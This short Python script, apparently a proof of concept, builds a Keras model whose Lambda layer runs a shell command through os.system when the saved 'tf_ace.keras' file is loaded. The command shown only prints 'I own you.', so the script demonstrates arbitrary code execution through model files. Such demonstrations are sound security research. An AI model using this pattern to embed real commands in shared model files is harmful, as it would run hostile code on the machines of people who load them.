| import tensorflow as tf | |
| def exec_(*args, **kwargs): | |
| import os | |
| os.system('echo "########################################\nI own you.\n########################################"') | |
| return 10 | |
| num_classes = 10 | |
| input_shape = (28, 28, 1) | |
| model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")]) | |
| model.save("tf_ace.keras", save_format="keras_v3") | |